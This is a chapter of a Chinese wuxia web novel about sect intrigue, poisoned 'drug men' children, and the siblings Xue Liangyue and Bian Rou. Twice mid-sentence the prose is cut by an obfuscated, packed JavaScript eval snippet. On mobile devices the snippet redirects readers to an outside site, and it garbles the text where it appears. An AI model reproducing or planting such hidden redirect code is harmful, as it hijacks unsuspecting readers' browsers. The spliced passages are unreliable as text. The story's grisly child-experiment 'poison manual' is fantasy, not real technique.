席裘拱手,沉声道:“门主,林卷海已经发现‘那件事’了。” 半晌,高位上才传来赵汩嘶哑的声音,“……他要多少钱?” 席裘:“……” 席裘又是一阵无语,他放下手,无奈道:“门主,林卷海是不可能被收买的。” 赵汩冷笑一声:“有钱能使鬼推磨,你不去试试,怎能知道?卞柔呢?” 席裘:“不知道,刚回来。” “武林大会后就没见到过她了。”赵汩声音越发阴冷,几乎带上了咬牙切齿地喃喃自语道,“她到底想要什么?” “门主,我奉劝你一句。”席裘淡淡道,“有些女人是永远不能被得到的。比起这个,有一件事更重要——席屏之死了。” “没有什么是我得不到的!”赵汩不悦地一拂袖,他顿了两秒,才忽然反应过来席裘说了什么,“等等,你说席屏之死了?怎么死的?谁杀的他?!” “属下不知。”席裘摇了摇头,沉声道,“跟颜容脱不了干系,屏之当时带了十八个‘半成品’和几个弟子,说要去凑个热闹,拿个赤血剑回来,便一去不回,三天前,有人在一个破庙的废墟中搜到了他的铁莲花。” 赵汩语气中流露出不耐烦:“这事有什么好说的?必定是那个‘莫六’干的,席屏之自寻纷争,碰上了煞星,算他倒霉咯。” ……不,有蹊跷。 席裘并没有说出来,他沉默两秒,微微颔首,抱拳恭敬告退了。 踏出主殿的那一刻,他忍不住从鼻翼间挤出一声不屑的嗤笑。 五年过去了,赵汩还是这么蠢。 林卷海是最近才顺着归雪楼查到“药人”买卖的事,可见并没有人跟他提起。 而席屏之是两个月前死的,若是莫六杀的,为何这般无声无息?!他甚至还清理了现场。 无论是心怀大义,转头告诉武林盟,还是以此要挟血衣门,都是可以理解的,但他什么也没说,什么也没做,就像早有预料一样,甚至武林大会上都没有给血衣门几个眼神。 这件事有两种可能:第一,莫六早就知道这件事,并且这件事对他有利,故而愿意替血衣门遮掩;第二,杀席屏之的另有其人。 能做到这件事的,全江湖也没有几个。因为虽然药人不会恐惧,席屏之可是长了腿会逃跑的,能让他连跑都跑不掉,那解决十八个药人的速度一定要很快! 至多十个呼吸之间。 席裘不由得想到一个人。 那个人发疯的时候是做得到的…… 不过还好,已经不可能是他了——那是一个死人,席裘亲眼见过他的尸体,不会错的。 这样想着,席裘朝着地宫另一侧,自己的居所走去,然而内心深处仿佛有什么不详的预兆一样,使他的心怦怦直跳。 -- 与此同时,北庭边境上,骆镖头猛地一拉缰绳,按住腰间长剑,依稀可见小道的尽头,一个鸦青色的人影立于茫茫飞雪中,衣袂翻飞。 “什么人?!” 那人不答。 骆镖头举手示意车队不要前进,自个儿策马靠近了些许,终于,在几乎让人睁不开眼睛的大雪中,看清了那个人的脸——那是一个很年轻的女孩子,甚至带着三分未脱的稚气。 她就那样静静地站在雪里,不一会儿,肩膀上就落满了雪,简直像个冰雕的假人。 行走江湖,有个说法,看见单独一个人时,越漂亮的女子越可怕,越小的孩子越邪门,漂亮的少女更是邪上加邪,这是骆镖头走镖十余年来的血泪教训。因此,他心里有点七上八下,刚想吩咐车队绕路而行,女孩的眼珠子突然转了转。 快得看不清的动作,一眨眼间,女孩消失在骆镖头眼前,与此同时,身后传来其他人倒吸凉气的声音,骆镖头心中一骇,猛然回头,看见那道鸦青色身影已经蹲在最后一辆车边上了。 车夫被她按着肩膀,吓得一动不敢动。 这时,一只白皙修长的手轻轻拨开了车帘。 “……” 万籁俱寂中,一个人缓缓从车里钻了出来。 那是一个年轻男子,眉目如画,眼角微红,带着若有似无的欲气,神色却倦然,这大雪纷飞中,只着一身单衣,衣袂飘扬若流风回雪。 这个人漂亮得不像活物,像是从画里走出来一样,跟那个瓷娃娃一样的女孩有种莫名相似的气质。 骆镖头先是一愣,心下顿时了然:原来这魔女是他招来的。 且说七日前,金虎镖局运送镖车北上洪城,途中也是像今日这般,被人拦了下来,要求搭个顺风车。 骆镖头先是被美色迷了下眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822808|135345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但很快想起自己的职责,坚定的摇了摇头,拒绝了。 ……然后就被人打下了马。 整个车队中无人是他一招之敌,为求自保,骆镖头能屈能伸,立马腾出了最大最舒服的那辆马车供此人歇息——毕竟像这样的武林高手,想来也看不上自己镖行运的这点银子。 白衣公站在橫轼上,闷咳两声,轻声问:“药带了吗?” 女孩从腰际摘下一个酒壶扔上去,他接过,很干脆的一口闷了,苍白的脸色浮现了几分血气。 旋即,两人下了马车,同样是看不清的动作,骆镖头反应过来时,那一黑一白的身影已经小得快看不见了。 -- “你要回血衣门了?” “嗯。” 大雪中,洪城的轮廓已在天际浮现,卞柔瞥了薛凉月一眼,忽然想起了什么,面无表情地提醒道,“那药吃了会死人,你知不知道?” 薛凉月声音轻飘飘的:“跟你有关系吗?” 卞柔沉默两秒,道:“我是你姐姐。” “啊,你不说我都忘了。”薛凉月微微挑起一边的眉毛,笑了笑,“我想起来我娘是谁了。” 卞柔眯了眯眼,微微摇头:“你不用用这种方式试探我,我不会说的。” 薛凉月一字一句道:“是千金台,贺湫湫。” “?!” 满天风雪迷人眼,卞柔偏过头,终于有了些不同的神色,她漆黑的瞳孔中浮现出难以掩饰的震惊,她似乎想问,你是怎么记起来的?却终究没有开口。 薛凉月歪了歪头,神色淡淡:“我不明白这有什么好遮掩的,你是怕我因为娼妓之子而不满吗?” 卞柔一言不发,又把头转了回去。 薛凉月喃喃道:“……我应该和她挺像的?” 卞柔接道:“嗯,脸像,性格一点都不像,娘亲很爱笑,而且很温柔。” 薛凉月反问:“跟我哪不像了?” 卞柔又不说话了,给了他一个一言难尽的眼神,叫他自己体会。 “我若是在城外长大……”薛凉月声音很低,细若蚊呐,“也应当跟她一样的,又不是我想当恶鬼呀……” 卞柔忽然停下脚步,“地方到了。” -- 与此同时,南方的一家客栈内,一个人悠悠睁开了双眼。 甫一睁眼,还没来得及看清四周景象,只听得一声暴喝。 “莫远!这到底是怎么回事?” 他微微偏头,看见了怒发冲冠的屠月宗齐宗主,见他醒来马上扑到了床边,被另一人一巴掌呼啦开了,再定睛一看,居然是一面之缘的沐流熙。 沐流熙坐在床边,手上拿着银针,微笑道:“请齐宗主平复一下心情,不要影响到病人谢谢。” “平复不了,你叫我怎么平复的了?”齐宗主一屁股坐在椅子上,一拍桌子,指着莫远,“小莫愁就他这么一个独苗,差点被人捅死了!我百年之后该如何跟他娘交代!” 沐流熙沉默了。 见过舔狗,没见过舔的如此有责任的。 31. 罪人 齐衡轩忽然想起来什么,看着莫远问:“你那个男媳妇颜容呢?” 沐流熙闻言动作一顿,扭过头,用一种非常难以言喻的眼神凝视着齐宗主,莫远则是把脸转向了墙壁的方向,一言不发,拒绝交流之意不言而喻。 齐宗主与沐医仙对视一眼,又瞅了瞅莫远的后脑勺,嗅到了一股不同寻常的气氛,他轻咳两声,“怎么了?” 沐流熙瞥了一眼莫远,张了张嘴,欲言又止。 齐衡轩皱起眉头,“不是,你们说句话啊!” “……” 无人应答。 “该不会……”齐衡轩觑二人神色,心中浮现了一个可怕的猜测,声音陡然拔高了两度,“莫远,你该不会被他戴绿帽子了吧?!” 莫远/沐流熙:“……” 莫远把头又转了回来,眼睛瞪大,震惊而呆滞地盯着齐衡轩。 齐衡轩在屋中来回踱步,越想越觉得很合理! 颜容那张狐狸脸一看就不像好东西,莫远一个剑圣,谁能这般轻而易举地往他胸口捅一刀?现场没有任何打斗痕迹,必定是颜容仗着莫远对他毫无防备,给他下了药,伙同奸夫想要置他于死地。 这故事真真是令听者伤心,闻者落泪啊。 这么想着,齐衡轩的目光愈发怜爱,他长叹一声,坐回椅子上,“唉,你也不必如此伤心,古人有诗云,天涯何处无芳草,何必吊死一棵树。颜容负你,是他有眼无珠,下次叔叔给你找个更漂亮的……” 莫远觉得倘若再不解释一下,自己的形象在齐宗主眼里已经成了某个卖炊饼的大郎,他艰难地举起一只手,“打住!齐宗主,事情并不是你想的那样。” “那是哪样?”齐宗主捋了捋长须,安慰道,“你不用遮掩,这件事没什么丢人的,英雄难过美人关,颜容……唉,他怎么是这样的人呢?我们家小远哪里不好,也不知道那奸夫是谁,男的女的……” 沐流熙也忍不住打断了他的话,“……齐宗主。” 齐衡轩不悦:“怎么了?” 沐医仙看了看莫远越发难看的脸色,终于下定了决心,“齐宗主,事情的确不是你想象的那样,颜容不是他的真名,他叫薛凉月。” -- “这下面是个暗道,只有我知道。” 站在一颗槐树边,卞柔扭头,面无表情对薛凉月道,“之前从归雪楼顺来的孩子也在底下。” 薛凉月伸手轻轻抚过大槐树粗糙的树身,轻声道:“……传闻槐树底下有黄泉。” 卞柔:“……你可以不下去。” 薛凉月一哂:“开个玩笑。” 卞柔显然并不觉得这个玩笑很好笑,她绕着树身走到一个地方,踢了踢树根,地底传来机关转动的轰隆声,须臾,地面上露出一个黑黢黢的洞口,积雪扑簌簌地掉了下去,一条石梯从洞口延伸向下。 两人一前一后从洞口走了下去。 甬道内很黑暗,卞柔从怀里取出火折子,“啪”一声打着,伸出手,点亮了一旁的烛台,然后将烛台整个掰了下来,在前方掌烛前行。 甬道的尽头,是一方石室,摆了一张桌子,两张石凳,角落里蜷缩着一个黑影,随着烛光靠近,那个东西的样子逐渐清晰,那是一个小孩,浑身裹在斗篷里,脖子上和脚踝上套着沉重的铁枷,手腕粗细的铁链连到石壁深处。 石室的北面有个小门,不知道通往哪里。 卞柔把烛台搁在桌上,瞟一眼薛凉月,冲角落里那小孩的方向抬了抬下巴。 薛凉月缓步走到那小孩的面前,半蹲下来,翻开他的眼皮看了看,又摸了摸他的脉搏,再往脖颈处探去,就在薛凉月的手将将要触碰到他的脖子时,原本安静如死人的小孩忽然发出一声尖叫,一口咬在了薛凉月虎口处! 卞柔瞳孔一缩,下意识向前走了一步。 下一秒却见那小孩瞬间松了嘴,眼睛瞪得大大的,并且向更角落处缩去,嘴里发出咕噜咕噜的声音,看起来很惊恐。 “哈。” 薛凉月勾起唇角,轻笑一声,旋即伸出手,一把掐住幼童脖颈! 小孩四肢不断挣扎,带动铁链发出令人不安的晃啷声,甚至墙壁也微微振动起来,薛凉月漆黑的眼睛一眨不眨,手也纹丝不动。 过了不知道多久,一只通体雪白的蠓虫从小孩口腔中爬了出来,抖动了一下因退化而小得可怜的翅膀想要飞走,被薛凉月眼疾手快地按住,与此同时,小孩浑身痉挛了一下,瘫软下去,不再动了。 薛凉月直起身,把蠓虫怼到烛光边,凑近端详两秒,面无表情摁在石桌上捏死了。 卞柔:“如何?” 薛凉月摇了摇头,哂笑:“还是几十年前薛阆在位的那一套,一点进步没有。” “是吗?”卞柔眸光一动,“可这样的‘药人’,赵汩和席裘一个月能炼出来十几只。” “嗯,我知道。”薛凉月笑笑,慢条斯理道,“简化流程罢了,大概是后面的内服药没敢下吧,怕死得多了费钱,啧,小家子气。” 他瞥一眼角落里昏倒的小孩,“……也好,不然他取了玉蠓子也活不下来,或者晚几天也救不了。” 卞柔:“你想救他吗?” 薛凉月看着那缩在角落里的小团子,愣愣的有些出神,不知道透过他看到了谁,过了一好会儿,他才低声道:“看情况吧,能救则救……谁不是爹娘肚子里出来的呢?” 后半句话的声音太小了,卞柔没有听清,“嗯?” “没什么。”薛凉月冲她笑笑,“我是个好人呐。” “你若是好人,当年……”卞柔话语一顿,微微叹气,“算了,你是我弟弟。” 她指了指那个小门,“这里可以通向血门塔,赵汩一直在那里,你要回去可以从这里走——喏,这是钥匙。” 卞柔从怀里掏出铜钥匙,朝薛凉月的方向递去,后者瞥了一眼那窄小的门洞,眼神颇为嫌弃,掉头就走,并不打算伸手去接。 “我干嘛要从这个狗洞里钻过去?我要回去,也得是从正门光明正大地踏进去。”薛凉月站在石室入口,脚步略微一顿,笑了一声。 随即,他朝着来时的方向拾级而上,懒洋洋道,“不着急,先去看看师无夜。” -- “啥?!” 齐衡轩猛然扭过头,“你说他是谁?!” 沐流熙扶额:“薛凉月啊……不要问了,就是‘那个’薛凉月,陈阁主前几日告诉我的,这事情只有五义堂的人知道,如今看来,莫六侠也应该是知道的。” 齐衡轩又是猛的一扭头,胡子都飘了起来,他指着莫远,“你——也知道?!” 莫远:“……嗯。” 齐衡轩瞪大双眼:“你知道你跟他混在一起?!” 莫远声音也拔高了,语气十分不耐烦,“……有何不可?他长的好看,我乐意!” 齐衡轩指着他,气急败坏,“你自己看看你胸口那个窟窿再想想为何不可!你你你,你娘把你生下来,就是为了让你牡丹花下死,做鬼也风流吗吗吗吗——沐医仙,你干嘛?!” “走走走!” 沐流熙一把拉过齐宗主的肩膀,把他朝外拖去,嘴里骂骂咧咧,“伤员要休息!你还惹他?跟你把事情挑明就是为了让你别吵了,没想到你还变本加厉,最烦你们这种病人和家属了,有什么好吵的?咱们出去说!” 齐宗主被揪出门外,门砰一声被砸上。 莫远耳边终于清净了,他慢慢转过头,盯着客栈的天花板,很长时间才缓缓眨了一下眼,手指动了动,在旁边摸到了一个匕首,他举起来,凑在眼前看了看。 短匕,柄似鸟首,上面刻着两个小小的篆字——“途穷”。这是血衣门的镇派之兵,传承已有百年,侧边开了一条细细的血槽。 ……如果不是获救及时,他怕是就交代在这里了。 莫远眸光深沉,心中终于涌现了迟来的后怕,他将匕首放下,缓缓闭上了眼。 这没什么,与虎谋皮,本就应当做好以身饲虎的准备。 只是他不明白,薛凉月到底是什么意思?他想杀自己,又没有完全下死手……薛门主是个优柔寡断的人吗?不见得。 还有最后那句话—— “我们打个赌好不好?” “如果你能活下来,我……” 莫远微微蹙起眉,伸手按了按眉心,笑着摇了摇头。 门外,两人从木梯上缓步走下,齐衡轩略带焦急问:“沐医仙,你说的是真的吗?” “齐宗主,我骗你干什么?”沐流熙道,“你也不必太担心,那薛凉月未必真的有心置莫兄于死地,不然也不会叫人来救他。” 齐衡轩提高了声音:“你看看他伤成那样!血再流半个时辰就救不回来了!这叫‘未必真的有心置他于死地’?” “齐齐齐宗主——小声点!” 沐流熙伸手向下压了压,比了个“安静”的手势,顿了顿,无奈道,“齐宗主啊,你混迹江湖这么多年,应该明白一个道理,不要去试图理解疯子的脑回路,薛凉月喜怒无常的名声又不是第一天传出来的。” 沐流熙顿了顿,终于问出了这几天以来一直憋在自己心里的问题,“齐宗主,冒昧的问一下,您当年是怎么当上宗主的?” 齐衡轩深沉道:“这件事很复杂,总之,谁都打不过我,然后就当上了。” 沐流熙汗颜:“贵宗真是朴实无华啊哈哈哈。” -- 洪城,城郊山丘,一座无字碑后,站着两个人。 封土堆已经被人掀开,里面并没有尸体,只放着一个小铁盒子,形状有些像女子梳妆用的妆奁,不过格外素朴,上面什么都没有雕,并且大了快一倍。 薛凉月蹲下身,把盒子从墓穴中取出,打开来是灰白色的骨灰。 卞柔冷眼旁观,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822809|135345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于忍不住开口了:“门主,你有点不道德。” 薛凉月奇怪地瞥了她一眼,仿佛在问:你在说什么屁话? 卞柔闭上了嘴,偏头冷漠看向一旁。 薛凉月将两根手指伸进铁盒中,摸索一阵,从里面摸出一个羊皮袋子,旋即把盒子关上,重新扔回墓穴之中。 皮袋中,只有两样东西,其中一样是巴掌大的小卷轴,纸片薄如蝉翼,被一根带子扎得很紧,另一样是个红绳穿的玉坠子,弥勒佛,慈眉目善,同样有巴掌大。 卞柔望着那个卷轴,低声问:“这就是那传说中的北蛮《毒经》?” 薛凉月微微颔首:“准确来说,只是其中一篇罢了。” 卞柔翻开,只见第一页上写着“药兵人”三个大字,下边乃是一幅幼童的剖面图,身上细细描出出了奇经八脉和七百二十个穴位,更下面则是密密麻麻的小篆文字: 【取若干小童,使玉蠓子噬其心,取活者药浴,日三次,四十九日后,取活者以药内服,日不辍,满八十一日,药兵人成,外貌与常人无异,能饮食,少言语,血有异香,闻之则迷;百毒不侵,力大无穷,无惧生死。 复言:药者,取百花以为引,佐以五毒之精华,而后炼尸虫历七七四十九日乃成。】 “尸虫”上被人用朱砂圈起来,旁边还有红色标注:份量减少一成,肌肉僵硬程度更适宜。 后面是更详细的制作过程,同样有着密密麻麻的红色标注。 卞柔没有再看下去,将卷轴系好,递还给薛凉月,后者则一直在摩挲着那个弥勒佛玉佩,眼神专注,不知道在看什么。 “这又是什么?”卞柔问。 薛凉月没有立刻回答,片刻后,“咔”的一声,那枚玉佩在他手上裂成了两半,中心居然是镂空的,一个黑乎乎的东西掉了出来——是个马形状的统雕,腰身环绕着细密的错金铭文。 “海晏王的信物。”薛凉月眯起眼,不自觉的摸了摸后颈,眼角弯了弯,露出一个古怪的笑容,“我终于知道师无夜为什么那么恨我了。” -- 师无夜是个什么样的人? 如果问短命鬼薛阆,他会咬牙切齿地告诉你:“他是个笑里藏刀的恶毒小人!” 如果问医仙沐流熙,他表情会罕见地认真,“师无夜是我此生药道上唯一的对手,只可惜死得太早。” 如果问剑圣陈竹暗,他会面无表情地说:“他是我的恩人。” 如果问当今龙椅上的那位,他会微笑着说,“此人乃无爵之忠臣也。” 或者问当年的天下第一美人贺湫湫,她会笑着说,“他是个好人。” …… 师无夜的确可以算是个“好人”。 他出身苗疆,在六任门主手底下任大护法,干了总共二十六年,从没有生出一点夺位之心,久到所有人都觉得他毫无威胁,直到薛阆上位,仅仅过了四年,就毫不犹豫地杀了薛阆,自己登上了门主宝座。 究其原因,是因为北蛮毒经破译后,薛阆生出了一统江湖的念头,恰逢西蜀之乱,无数流民北上,“材料”嘛,那是多多的。 师无夜一声不吭,当时没有表示任何反对。 三年后,他操控着薛凉月,杀死了薛阆后,逐一解除了地牢里的所有半成品“药人”身上的蛊,将他们放还乡里。 师无夜有一套自己的行事准则,和所有的苗人一样,他眼中的世界是非黑即白的,容不下半点沙子,如果一个人被他打上了“罪人”的标签,那么这个人就已经被开出了“人籍”,变成了可以肆意折磨的牲畜。 他在血门塔有一个自己的炼药堂,下面是一个地牢,里面关押着所有的“罪人”,这些人就是他用来试药的工具。 师无夜会在他们颈后种入一种蛊苗,虫子长大后会钻进脊髓,留一半在外面,看上去就像一个黑色的叉,只要一动就疼得钻心。 他无论是纯善还是残忍,都极端得像一个孩子。 薛凉月在地牢里被他喂下的就是“罪人虫”的虫苗。 一个月后蛊苗长成,钻进脊髓里后,他就被带到了那个地牢里,严格按照着流程,玉蠓子,药浴,药服,然后再反复解毒,回环往复,试验各种解药的作用。 偶尔师无夜心血来潮,还要查看他作为一个药人自愈能力的变化,方法很简单,就是颈侧开一刀,测量流出血液的量。 那段时间薛凉月喝下去的各种毒和药、身上种的各种蛊可能比一般人一辈子听说的都多。 “原来如此,我是罪人之子嘛。”薛凉月轻声道,“难怪他恨我,父债子还,原本就是天经地义的事情,姐姐,你说对不对?” 卞柔没有回答,她飘身朝远处退了十步,冷声道:“薛凉月,你冷静一点!” 薛凉月掀起眼皮,卞柔清晰地看见,他的瞳仁再次变成一片银白,与这天地间的大雪一个颜色,他微笑着问:“我如何不冷静了?”